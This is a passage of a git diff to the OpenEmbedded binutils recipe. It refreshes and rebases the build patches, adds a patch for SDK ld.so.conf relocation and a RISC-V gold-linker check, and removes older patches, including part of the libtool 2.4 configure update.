+ install -Dm 0644 ${B}/libiberty/pic/libiberty.a ${D}${libdir}/libiberty.a
+ fi
+
cd ${D}${bindir}
# Symlinks for ease of running these on the native target
@@ -162,4 +176,9 @@ inherit update-alternatives
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN}_class-target = "${USE_ALTERNATIVES_FOR}"
+ALTERNATIVE:${PN}:class-target = "${USE_ALTERNATIVES_FOR}"
+
+python () {
+ if bb.utils.contains('DISTRO_FEATURES', 'ld-is-gold', True, False, d) and bb.utils.contains_any('TARGET_ARCH', 'riscv32 riscv64', True, False, d):
+ bb.fatal("Gold linker does not _yet_ support RISC-V architecture please remove ld-is-gold from DISTRO_FEATURES")
+}
diff --git a/meta/recipes-devtools/binutils/binutils/0001-binutils-crosssdk-Generate-relocatable-SDKs.patch b/meta/recipes-devtools/binutils/binutils/0001-binutils-crosssdk-Generate-relocatable-SDKs.patch
index 6581bad119..719928be79 100644
--- a/meta/recipes-devtools/binutils/binutils/0001-binutils-crosssdk-Generate-relocatable-SDKs.patch
+++ b/meta/recipes-devtools/binutils/binutils/0001-binutils-crosssdk-Generate-relocatable-SDKs.patch
@@ -1,52 +1,68 @@
-From 5bcd884f8af5106d0fa380c42cffe07f3c993ed2 Mon Sep 17 00:00:00 2001
+From 07bb7fbdacaf9cd6a1a252ffbc98f4e05e305d50 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Mon, 2 Mar 2015 01:58:54 +0000
-Subject: [PATCH 01/15] binutils-crosssdk: Generate relocatable SDKs
+Subject: [PATCH] binutils-crosssdk: Generate relocatable SDKs
This patch will modify the ELF linker scripts so that the crosssdk
linker will generate binaries with a 4096 bytes PT_INTERP section. When the binaries
will be relocated, at SDK install time, the interpreter path can be easily
changed by the relocating script.
+generate larger .interp section for gold linker as well
+
Upstream-Status: Inappropriate [SDK specific]
Signed-off-by: Laurentiu Palcu <laurentiu.palcu@intel.com>
Signed-off-by: Khem Raj <raj.khem@gmail.com>
---
+ gold/layout.cc | 2 +-
ld/genscripts.sh | 3 +++
ld/scripttempl/elf.sc | 4 ++--
- 2 files changed, 5 insertions(+), 2 deletions(-)
+ 3 files changed, 6 insertions(+), 3 deletions(-)
+diff --git a/gold/layout.cc b/gold/layout.cc
+index 3efe8d98ae9..9cc389664a6 100644
+--- a/gold/layout.cc
++++ b/gold/layout.cc
+@@ -5033,7 +5033,7 @@ Layout::create_interp(const Target* target)
+ gold_assert(interp != NULL);
+ }
+
+- size_t len = strlen(interp) + 1;
++ size_t len = 4096;
+
+ Output_section_data* odata = new Output_data_const(interp, len, 1);
+
diff --git a/ld/genscripts.sh b/ld/genscripts.sh
-index 77ddbbc8f8..d789e77943 100755
+index 278f212bdad..0c52ebee4d0 100755
--- a/ld/genscripts.sh
+++ b/ld/genscripts.sh
-@@ -310,6 +310,7 @@ DATA_ALIGNMENT_u="${DATA_ALIGNMENT_u-${DATA_ALIGNMENT_r}}"
+@@ -304,6 +304,7 @@ DATA_ALIGNMENT_u="${DATA_ALIGNMENT_u-${DATA_ALIGNMENT_r}}"
LD_FLAG=r
DATA_ALIGNMENT=${DATA_ALIGNMENT_r}
DEFAULT_DATA_ALIGNMENT="ALIGN(${SEGMENT_SIZE})"
+PARTIAL_LINKING=" "
- ( echo "/* Script for ld -r: link without relocation */"
- . ${CUSTOMIZER_SCRIPT}
- . ${srcdir}/scripttempl/${SCRIPT_NAME}.sc
-@@ -318,10 +319,12 @@ DEFAULT_DATA_ALIGNMENT="ALIGN(${SEGMENT_SIZE})"
+ ( echo "/* Script for -r */"
+ source_sh ${CUSTOMIZER_SCRIPT}
+ source_sh ${srcdir}/scripttempl/${SCRIPT_NAME}.sc
+@@ -312,10 +313,12 @@ DEFAULT_DATA_ALIGNMENT="ALIGN(${SEGMENT_SIZE})"
LD_FLAG=u
DATA_ALIGNMENT=${DATA_ALIGNMENT_u}
CONSTRUCTING=" "
+PARTIAL_LINKING=" "
- ( echo "/* Script for ld -Ur: link w/out relocation, do create constructors */"
- . ${CUSTOMIZER_SCRIPT}
- . ${srcdir}/scripttempl/${SCRIPT_NAME}.sc
+ ( echo "/* Script for -Ur */"
+ source_sh ${CUSTOMIZER_SCRIPT}
+ source_sh ${srcdir}/scripttempl/${SCRIPT_NAME}.sc
) | sed -e '/^ *$/d;s/[ ]*$//' > ldscripts/${EMULATION_NAME}.xu
+unset PARTIAL_LINKING
DATA_ALIGNMENT=${DATA_ALIGNMENT_}
RELOCATING=" "
diff --git a/ld/scripttempl/elf.sc b/ld/scripttempl/elf.sc
-index bd7584120e..8bbe052d4b 100644
+index bf2268bb0ad..b1811ef130f 100644
--- a/ld/scripttempl/elf.sc
+++ b/ld/scripttempl/elf.sc
-@@ -139,8 +139,8 @@ if test -z "$DATA_SEGMENT_ALIGN"; then
+@@ -148,8 +148,8 @@ if test -z "$DATA_SEGMENT_ALIGN"; then
DATA_SEGMENT_RELRO_END=". = DATA_SEGMENT_RELRO_END (${SEPARATE_GOTPLT-0}, .);"
fi
fi
@@ -57,6 +73,3 @@ index bd7584120e..8bbe052d4b 100644
fi
if test -z "$PLT"; then
IPLT=".iplt ${RELOCATING-0} : { *(.iplt) }"
---
-2.20.1
-
diff --git a/meta/recipes-devtools/binutils/binutils/0002-binutils-cross-Do-not-generate-linker-script-directo.patch b/meta/recipes-devtools/binutils/binutils/0002-binutils-cross-Do-not-generate-linker-script-directo.patch
index 32537d4b58..a3f7d62898 100644
--- a/meta/recipes-devtools/binutils/binutils/0002-binutils-cross-Do-not-generate-linker-script-directo.patch
+++ b/meta/recipes-devtools/binutils/binutils/0002-binutils-cross-Do-not-generate-linker-script-directo.patch
@@ -1,8 +1,7 @@
-From 11927913560fc5a5d51af3bc5eb8ad62a86c9840 Mon Sep 17 00:00:00 2001
+From f820ab7ea7e94d4df548be3388163ff2efb2ea96 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Mon, 6 Mar 2017 23:37:05 -0800
-Subject: [PATCH 02/15] binutils-cross: Do not generate linker script
- directories
+Subject: [PATCH] binutils-cross: Do not generate linker script directories
We don't place target libraries within ${exec_prefix}, we'd always place these
within the target sysroot within the standard library directories. Worse, the
@@ -23,10 +22,10 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
1 file changed, 25 deletions(-)
diff --git a/ld/genscripts.sh b/ld/genscripts.sh
-index d789e77943..144e2e8736 100755
+index 0c52ebee4d0..1acbe66bd2e 100755
--- a/ld/genscripts.sh
+++ b/ld/genscripts.sh
-@@ -220,31 +220,6 @@ append_to_lib_path()
+@@ -235,31 +235,6 @@ append_to_lib_path()
fi
}
@@ -58,6 +57,3 @@ index d789e77943..144e2e8736 100755
if [ "x${LIB_PATH}" = "x" ] && [ "x${USE_LIBPATH}" = xyes ] ; then
libs=${NATIVE_LIB_DIRS}
if [ "x${NATIVE}" = "xyes" ] ; then
---
-2.20.1
-
diff --git a/meta/recipes-devtools/binutils/binutils/0003-binutils-nativesdk-Search-for-alternative-ld.so.conf.patch b/meta/recipes-devtools/binutils/binutils/0003-binutils-nativesdk-Search-for-alternative-ld.so.conf.patch
new file mode 100644
index 0000000000..59a97c13c7
--- /dev/null
+++ b/meta/recipes-devtools/binutils/binutils/0003-binutils-nativesdk-Search-for-alternative-ld.so.conf.patch
@@ -0,0 +1,95 @@
+From b2ccd25828b40310caeb094c0413e3a30a4dc0a5 Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Wed, 19 Feb 2020 09:51:16 -0800
+Subject: [PATCH] binutils-nativesdk: Search for alternative ld.so.conf in SDK
+ installation
+
+We need binutils to look at our ld.so.conf file within the SDK to ensure
+we search the SDK's libdirs as well as those from the host system.
+
+We therefore pass in the directory to the code using a define, then add
+it to a section we relocate in a similar way to the way we relocate the
+gcc internal paths. This ensures that ld works correctly in our buildtools
+tarball.
+
+Standard sysroot relocation doesn't work since we're not in a sysroot,
+we want to use both the host system and SDK libs.
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+2020/1/17
+Upstream-Status: Inappropriate [OE specific tweak]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ ld/Makefile.am | 3 ++-
+ ld/Makefile.in | 3 ++-
+ ld/ldelf.c | 2 +-
+ ld/ldmain.c | 1 +
+ ld/ldmain.h | 1 +
+ 5 files changed, 7 insertions(+), 3 deletions(-)
+
+diff --git a/ld/Makefile.am b/ld/Makefile.am
+index b55a873d927..61db131fb0d 100644
+--- a/ld/Makefile.am
++++ b/ld/Makefile.am
+@@ -42,7 +42,8 @@ ZLIBINC = @zlibinc@
+
+ ELF_CLFAGS=-DELF_LIST_OPTIONS=@elf_list_options@ \
+ -DELF_SHLIB_LIST_OPTIONS=@elf_shlib_list_options@ \
+- -DELF_PLT_UNWIND_LIST_OPTIONS=@elf_plt_unwind_list_options@
++ -DELF_PLT_UNWIND_LIST_OPTIONS=@elf_plt_unwind_list_options@ \
++ -DSYSCONFDIR="\"$(sysconfdir)\""
+ WARN_CFLAGS = @WARN_CFLAGS@
+ NO_WERROR = @NO_WERROR@
+ AM_CFLAGS = $(WARN_CFLAGS) $(ELF_CLFAGS)
+diff --git a/ld/Makefile.in b/ld/Makefile.in
+index 61e93eeaf1e..860eb21a785 100644
+--- a/ld/Makefile.in
++++ b/ld/Makefile.in
+@@ -556,7 +556,8 @@ ZLIB = @zlibdir@ -lz
+ ZLIBINC = @zlibinc@
+ ELF_CLFAGS = -DELF_LIST_OPTIONS=@elf_list_options@ \
+ -DELF_SHLIB_LIST_OPTIONS=@elf_shlib_list_options@ \
+- -DELF_PLT_UNWIND_LIST_OPTIONS=@elf_plt_unwind_list_options@
++ -DELF_PLT_UNWIND_LIST_OPTIONS=@elf_plt_unwind_list_options@ \
++ -DSYSCONFDIR="\"$(sysconfdir)\""
+
+ AM_CFLAGS = $(WARN_CFLAGS) $(ELF_CLFAGS)
+
+diff --git a/ld/ldelf.c b/ld/ldelf.c
+index 121c25d948f..34cbc60e5e9 100644
+--- a/ld/ldelf.c
++++ b/ld/ldelf.c
+@@ -930,7 +930,7 @@ ldelf_check_ld_so_conf (const struct bfd_link_needed_list *l, int force,
+
+ info.path = NULL;
+ info.len = info.alloc = 0;
+- tmppath = concat (ld_sysroot, prefix, "/etc/ld.so.conf",
++ tmppath = concat (ld_sysconfdir, "/etc/ld.so.conf",
+ (const char *) NULL);
+ if (!ldelf_parse_ld_so_conf (&info, tmppath))
+ {
+diff --git a/ld/ldmain.c b/ld/ldmain.c
+index ea72b14a301..1ae90a77749 100644
+--- a/ld/ldmain.c
++++ b/ld/ldmain.c
+@@ -70,6 +70,7 @@ char *program_name;
+
+ /* The prefix for system library directories. */
+ const char *ld_sysroot;
++char ld_sysconfdir[4096] __attribute__ ((section (".gccrelocprefix"))) = SYSCONFDIR;
+
+ /* The canonical representation of ld_sysroot. */
+ char *ld_canon_sysroot;
+diff --git a/ld/ldmain.h b/ld/ldmain.h
+index f6d05a02f59..e60292cd522 100644
+--- a/ld/ldmain.h
++++ b/ld/ldmain.h
+@@ -23,6 +23,7 @@
+
+ extern char *program_name;
+ extern const char *ld_sysroot;
++extern char ld_sysconfdir[4096];
+ extern char *ld_canon_sysroot;
+ extern int ld_canon_sysroot_len;
+ extern FILE *saved_script_handle;
diff --git a/meta/recipes-devtools/binutils/binutils/0003-configure-widen-the-regexp-for-SH-architectures.patch b/meta/recipes-devtools/binutils/binutils/0003-configure-widen-the-regexp-for-SH-architectures.patch
deleted file mode 100644
index a30138295a..0000000000
--- a/meta/recipes-devtools/binutils/binutils/0003-configure-widen-the-regexp-for-SH-architectures.patch
+++ /dev/null
@@ -1,47 +0,0 @@
-From da3939de6fb36da2c6484f14f08a37be195d9dc3 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 2 Mar 2015 01:07:33 +0000
-Subject: [PATCH 03/15] configure: widen the regexp for SH architectures
-
-gprof needs to know about uclibc
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- configure | 2 +-
- gprof/configure | 5 +++++
- 2 files changed, 6 insertions(+), 1 deletion(-)
-
-diff --git a/configure b/configure
-index 3747645961..78b5240101 100755
---- a/configure
-+++ b/configure
-@@ -3861,7 +3861,7 @@ case "${target}" in
- nvptx*-*-*)
- noconfigdirs="$noconfigdirs target-libssp target-libstdc++-v3 target-libobjc"
- ;;
-- sh-*-*)
-+ sh*-*-* | sh64-*-*)
- case "${target}" in
- sh*-*-elf)
- ;;
-diff --git a/gprof/configure b/gprof/configure
-index f84efaba20..ab32bab2b6 100755
---- a/gprof/configure
-+++ b/gprof/configure
-@@ -6162,6 +6162,11 @@ linux* | k*bsd*-gnu | kopensolaris*-gnu)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-+linux-uclibc*)
-+ lt_cv_deplibs_check_method=pass_all
-+ lt_cv_file_magic_test_file=`echo /lib/libuClibc-*.so`
-+ ;;
-+
- netbsd*)
- if echo __ELF__ | $CC -E - | $GREP __ELF__ > /dev/null; then
- lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so\.[0-9]+\.[0-9]+|_pic\.a)$'
---
-2.20.1
-
diff --git a/meta/recipes-devtools/binutils/binutils/0004-Point-scripts-location-to-libdir.patch b/meta/recipes-devtools/binutils/binutils/0004-Point-scripts-location-to-libdir.patch
index f8e352228f..8f323eb0c5 100644
--- a/meta/recipes-devtools/binutils/binutils/0004-Point-scripts-location-to-libdir.patch
+++ b/meta/recipes-devtools/binutils/binutils/0004-Point-scripts-location-to-libdir.patch
@@ -1,7 +1,7 @@
-From fc1ff860fd88fa2d0584bd19181c880a76331a8d Mon Sep 17 00:00:00 2001
+From 7a7b777cdfded080aab1021fa6bcdb20345f5cfd Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Mon, 2 Mar 2015 01:09:58 +0000
-Subject: [PATCH 04/15] Point scripts location to libdir
+Subject: [PATCH] Point scripts location to libdir
Upstream-Status: Inappropriate [debian patch]
@@ -12,10 +12,10 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
2 files changed, 2 insertions(+), 2 deletions(-)
diff --git a/ld/Makefile.am b/ld/Makefile.am
-index c2c798b4fe..d7faf19271 100644
+index 61db131fb0d..5b5ee64d121 100644
--- a/ld/Makefile.am
+++ b/ld/Makefile.am
-@@ -57,7 +57,7 @@ endif
+@@ -51,7 +51,7 @@ AM_CFLAGS = $(WARN_CFLAGS) $(ELF_CLFAGS)
# We put the scripts in the directory $(scriptdir)/ldscripts.
# We can't put the scripts in $(datadir) because the SEARCH_DIR
# directives need to be different for native and cross linkers.
@@ -25,10 +25,10 @@ index c2c798b4fe..d7faf19271 100644
EMUL = @EMUL@
EMULATION_OFILES = @EMULATION_OFILES@
diff --git a/ld/Makefile.in b/ld/Makefile.in
-index fc687fc516..8b14f5236c 100644
+index 860eb21a785..d719747919c 100644
--- a/ld/Makefile.in
+++ b/ld/Makefile.in
-@@ -563,7 +563,7 @@ AM_CFLAGS = $(WARN_CFLAGS) $(ELF_CLFAGS)
+@@ -564,7 +564,7 @@ AM_CFLAGS = $(WARN_CFLAGS) $(ELF_CLFAGS)
# We put the scripts in the directory $(scriptdir)/ldscripts.
# We can't put the scripts in $(datadir) because the SEARCH_DIR
# directives need to be different for native and cross linkers.
@@ -37,6 +37,3 @@ index fc687fc516..8b14f5236c 100644
BASEDIR = $(srcdir)/..
BFDDIR = $(BASEDIR)/bfd
INCDIR = $(BASEDIR)/include
---
-2.20.1
-
diff --git a/meta/recipes-devtools/binutils/binutils/0005-Only-generate-an-RPATH-entry-if-LD_RUN_PATH-is-not-e.patch b/meta/recipes-devtools/binutils/binutils/0005-Only-generate-an-RPATH-entry-if-LD_RUN_PATH-is-not-e.patch
index 1bad53175e..997774020e 100644
--- a/meta/recipes-devtools/binutils/binutils/0005-Only-generate-an-RPATH-entry-if-LD_RUN_PATH-is-not-e.patch
+++ b/meta/recipes-devtools/binutils/binutils/0005-Only-generate-an-RPATH-entry-if-LD_RUN_PATH-is-not-e.patch
@@ -1,8 +1,7 @@
-From 66861bff389434e3454c7650ee29fade7a1cc5ed Mon Sep 17 00:00:00 2001
+From edddb1f294d667eac94649ba0665fe464990ed18 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Mon, 2 Mar 2015 01:27:17 +0000
-Subject: [PATCH 05/15] Only generate an RPATH entry if LD_RUN_PATH is not
- empty
+Subject: [PATCH] Only generate an RPATH entry if LD_RUN_PATH is not empty
for cases where -rpath isn't specified. debian (#151024)
@@ -11,23 +10,23 @@ Upstream-Status: Pending
Signed-off-by: Chris Chimelis <chris@debian.org>
Signed-off-by: Khem Raj <raj.khem@gmail.com>
---
- ld/emultempl/elf32.em | 4 ++++
+ ld/ldelf.c | 4 ++++
1 file changed, 4 insertions(+)
-diff --git a/ld/emultempl/elf32.em b/ld/emultempl/elf32.em
-index f4f7ad6b4e..cfd787ff28 100644
---- a/ld/emultempl/elf32.em
-+++ b/ld/emultempl/elf32.em
-@@ -1471,6 +1471,8 @@ fragment <<EOF
- && command_line.rpath == NULL)
- {
- path = (const char *) getenv ("LD_RUN_PATH");
-+ if ((path) && (strlen (path) == 0))
-+ path = NULL;
- if (path
- && gld${EMULATION_NAME}_search_needed (path, &n, force))
- break;
-@@ -1746,6 +1748,8 @@ gld${EMULATION_NAME}_before_allocation (void)
+diff --git a/ld/ldelf.c b/ld/ldelf.c
+index 34cbc60e5e9..b1965a9e96f 100644
+--- a/ld/ldelf.c
++++ b/ld/ldelf.c
+@@ -1277,6 +1277,8 @@ ldelf_after_open (int use_libpath, int native, int is_linux, int is_freebsd,
+ && command_line.rpath == NULL)
+ {
+ path = (const char *) getenv ("LD_RUN_PATH");
++ if ((path) && (strlen (path) == 0))
++ path = NULL;
+ if (path
+ && ldelf_search_needed (path, &n, force,
+ is_linux, elfsize))
+@@ -1636,6 +1638,8 @@ ldelf_before_allocation (char *audit, char *depaudit,
rpath = command_line.rpath;
if (rpath == NULL)
rpath = (const char *) getenv ("LD_RUN_PATH");
@@ -36,6 +35,3 @@ index f4f7ad6b4e..cfd787ff28 100644
for (abfd = link_info.input_bfds; abfd; abfd = abfd->link.next)
if (bfd_get_flavour (abfd) == bfd_target_elf_flavour)
---
-2.20.1
-
diff --git a/meta/recipes-devtools/binutils/binutils/0006-Use-libtool-2.4.patch b/meta/recipes-devtools/binutils/binutils/0006-Use-libtool-2.4.patch
deleted file mode 100644
index f0c4d251bd..0000000000
--- a/meta/recipes-devtools/binutils/binutils/0006-Use-libtool-2.4.patch
+++ /dev/null
@@ -1,21252 +0,0 @@
-From 418527a2971d4e77a87085400397090d89fc5c94 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sun, 14 Feb 2016 17:04:07 +0000
-Subject: [PATCH 06/15] Use libtool 2.4
-
-get libtool sysroot support
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- bfd/configure | 1322 ++++++++++++++-----
- bfd/configure.ac | 2 +-
- binutils/configure | 1320 ++++++++++++++-----
- gas/configure | 1320 ++++++++++++++-----
- gprof/configure | 1321 ++++++++++++++-----
- ld/configure | 1695 ++++++++++++++++++------
- libtool.m4 | 1080 +++++++++++-----
- ltmain.sh | 2925 ++++++++++++++++++++++++++++--------------
- ltoptions.m4 | 2 +-
- ltversion.m4 | 12 +-
- lt~obsolete.m4 | 2 +-
- opcodes/configure | 1322 ++++++++++++++-----
- opcodes/configure.ac | 2 +-
- zlib/configure | 1320 ++++++++++++++-----
- 14 files changed, 9940 insertions(+), 3705 deletions(-)
-
-diff --git a/bfd/configure b/bfd/configure
-index 17960684f8..925fb401f2 100755
---- a/bfd/configure
-+++ b/bfd/configure
-@@ -704,6 +704,9 @@ OTOOL
- LIPO
- NMEDIT
- DSYMUTIL
-+MANIFEST_TOOL
-+ac_ct_AR
-+DLLTOOL
- OBJDUMP
- LN_S
- NM
-@@ -822,6 +825,7 @@ enable_static
- with_pic
- enable_fast_install
- with_gnu_ld
-+with_libtool_sysroot
- enable_libtool_lock
- enable_plugins
- enable_largefile
-@@ -1504,6 +1508,8 @@ Optional Packages:
- --with-pic try to use only PIC/non-PIC objects [default=use
- both]
- --with-gnu-ld assume the C compiler uses GNU ld [default=no]
-+ --with-libtool-sysroot=DIR Search for dependent libraries within DIR
-+ (or the compiler's sysroot if not specified).
- --with-mmap try using mmap for BFD input files if available
- --with-separate-debug-dir=DIR
- Look for global separate debug info in DIR
-@@ -5693,8 +5699,8 @@ esac
-
-
-
--macro_version='2.2.7a'
--macro_revision='1.3134'
-+macro_version='2.4'
-+macro_revision='1.3293'
-
-
-
-@@ -5734,7 +5740,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
- $as_echo_n "checking how to print strings... " >&6; }
- # Test print first, because it will be a builtin if present.
--if test "X`print -r -- -n 2>/dev/null`" = X-n && \
-+if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
- test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
- ECHO='print -r --'
- elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
-@@ -6420,8 +6426,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
- # Try some XSI features
- xsi_shell=no
- ( _lt_dummy="a/b/c"
-- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
-- = c,a/b,, \
-+ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
-+ = c,a/b,b/c, \
- && eval 'test $(( 1 + 1 )) -eq 2 \
- && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
- && xsi_shell=yes
-@@ -6470,6 +6476,80 @@ esac
-
-
-
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to $host format" >&5
-+$as_echo_n "checking how to convert $build file names to $host format... " >&6; }
-+if ${lt_cv_to_host_file_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ case $host in
-+ *-*-mingw* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
-+ ;;
-+ *-*-cygwin* )
-+ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
-+ ;;
-+ * ) # otherwise, assume *nix
-+ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
-+ ;;
-+ esac
-+ ;;
-+ *-*-cygwin* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
-+ ;;
-+ *-*-cygwin* )
-+ lt_cv_to_host_file_cmd=func_convert_file_noop
-+ ;;
-+ * ) # otherwise, assume *nix
-+ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
-+ ;;
-+ esac
-+ ;;
-+ * ) # unhandled hosts (and "normal" native builds)
-+ lt_cv_to_host_file_cmd=func_convert_file_noop
-+ ;;
-+esac
-+
-+fi
-+
-+to_host_file_cmd=$lt_cv_to_host_file_cmd
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_host_file_cmd" >&5
-+$as_echo "$lt_cv_to_host_file_cmd" >&6; }
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to toolchain format" >&5
-+$as_echo_n "checking how to convert $build file names to toolchain format... " >&6; }
-+if ${lt_cv_to_tool_file_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ #assume ordinary cross tools, or native build.
-+lt_cv_to_tool_file_cmd=func_convert_file_noop
-+case $host in
-+ *-*-mingw* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
-+ ;;
-+ esac
-+ ;;
-+esac
-+
-+fi
-+
-+to_tool_file_cmd=$lt_cv_to_tool_file_cmd
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_tool_file_cmd" >&5
-+$as_echo "$lt_cv_to_tool_file_cmd" >&6; }
-+
-+
-+
-+
-+
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
- $as_echo_n "checking for $LD option to reload object files... " >&6; }
- if ${lt_cv_ld_reload_flag+:} false; then :
-@@ -6486,6 +6566,11 @@ case $reload_flag in
- esac
- reload_cmds='$LD$reload_flag -o $output$reload_objs'
- case $host_os in
-+ cygwin* | mingw* | pw32* | cegcc*)
-+ if test "$GCC" != yes; then
-+ reload_cmds=false
-+ fi
-+ ;;
- darwin*)
- if test "$GCC" = yes; then
- reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
-@@ -6654,7 +6739,8 @@ mingw* | pw32*)
- lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
- lt_cv_file_magic_cmd='func_win32_libid'
- else
-- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
-+ # Keep this pattern in sync with the one in func_win32_libid.
-+ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
- lt_cv_file_magic_cmd='$OBJDUMP -f'
- fi
- ;;
-@@ -6808,6 +6894,21 @@ esac
- fi
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
- $as_echo "$lt_cv_deplibs_check_method" >&6; }
-+
-+file_magic_glob=
-+want_nocaseglob=no
-+if test "$build" = "$host"; then
-+ case $host_os in
-+ mingw* | pw32*)
-+ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
-+ want_nocaseglob=yes
-+ else
-+ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[\1]\/[\1]\/g;/g"`
-+ fi
-+ ;;
-+ esac
-+fi
-+
- file_magic_cmd=$lt_cv_file_magic_cmd
- deplibs_check_method=$lt_cv_deplibs_check_method
- test -z "$deplibs_check_method" && deplibs_check_method=unknown
-@@ -6821,11 +6922,164 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
-
-
-
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-
-
- if test -n "$ac_tool_prefix"; then
-- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
--set dummy ${ac_tool_prefix}ar; ac_word=$2
-+ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
-+set dummy ${ac_tool_prefix}dlltool; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_DLLTOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$DLLTOOL"; then
-+ ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+DLLTOOL=$ac_cv_prog_DLLTOOL
-+if test -n "$DLLTOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
-+$as_echo "$DLLTOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+
-+fi
-+if test -z "$ac_cv_prog_DLLTOOL"; then
-+ ac_ct_DLLTOOL=$DLLTOOL
-+ # Extract the first word of "dlltool", so it can be a program name with args.
-+set dummy dlltool; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$ac_ct_DLLTOOL"; then
-+ ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_ac_ct_DLLTOOL="dlltool"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
-+if test -n "$ac_ct_DLLTOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
-+$as_echo "$ac_ct_DLLTOOL" >&6; }
